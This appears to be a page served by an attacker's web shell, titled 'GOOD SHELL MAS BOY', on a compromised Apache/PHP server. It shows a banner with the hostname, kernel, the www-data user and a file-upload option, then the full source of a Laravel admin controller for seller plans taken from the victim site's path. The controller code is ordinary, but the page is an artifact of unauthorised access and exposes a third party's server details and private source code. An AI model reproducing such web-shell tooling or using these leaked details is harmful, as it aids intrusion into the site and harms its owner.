GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/api.ayokah.co.uk/app/Http/Controllers/Admin/SellerPlanController.php
<?php

namespace App\Http\Controllers\Admin;

use App\Models\SellerPlan;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Validator;
use Illuminate\Validation\ValidationException;

class SellerPlanController extends Controller
{
    public function store(Request $request)
    {
        try {
            $validatedData = $request->validate([
                'name' => ['required', 'string', 'max:100'],
                'description' => ['required', 'string', 'max:255'],
                'amount' => ['required', 'numeric'],
                'link' => ['sometimes', 'url'],
            ]);
            
            if ($request->has('id')) {
                $package = SellerPlan::findOrFail($request->id);
                $status = 'updated';
            } else {
                $package = new SellerPlan();
                $status = 'saved';
            }
            $package->fill($validatedData);
            $package->save();
            return response()->json(['status' => 'success', 'message' => 'Seller plan ' . $status . ' successfully', 'package' => $package], 200);
        } catch (ValidationException $e) {
            return response()->json(['status' => 'failed', 'message' => $e->getMessage()], 422);
        }
    }

    // for admin
    public function index()
    {
        try {
            $plans = SellerPlan::all();
            return response()->json(['plans' => $plans], 200);
        } catch (\Throwable $th) {
            Log::alert($th->getMessage());
            return response()->json(['error' => 'Unable to fetch list of Seller plans'], 500);
        }
    }

    public function list()
    {
        try {
            $plans = SellerPlan::all();
            return response()->json(['data' => $plans], 200);
        } catch (\Throwable $th) {
            Log::alert($th->getMessage());
            return response()->json(['error' => 'Unable to fetch list of Seller plans'], 500);
        }
    }

    public function delete(Request $request)
    {
        try {
            $validator = Validator::make($request->all(), [
                'id' => ['required', 'exists:seller_plans,id'],
            ]);

            if ($validator->fails()) {
                return response()->json(['error' => $validator->errors()], 422);
            }
            $package = SellerPlan::findOrFail($request->id);
            $package->delete();
            return response()->json(['message' => 'Seller plan deleted successfully', 'plan' => $package], 200);
        } catch (\Illuminate\Validation\ValidationException $e) {
            return response()->json(['error' => $e->errors()], 422);
        } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) {
            Log::alert($e->getMessage());
            return response()->json(['error' => 'Seller plan not found'], 404);
        } catch (\Throwable $e) {
            Log::alert($e->getMessage());
            return response()->json(['error' => 'Unable to delete seller plan'], 500);
        }
    }
}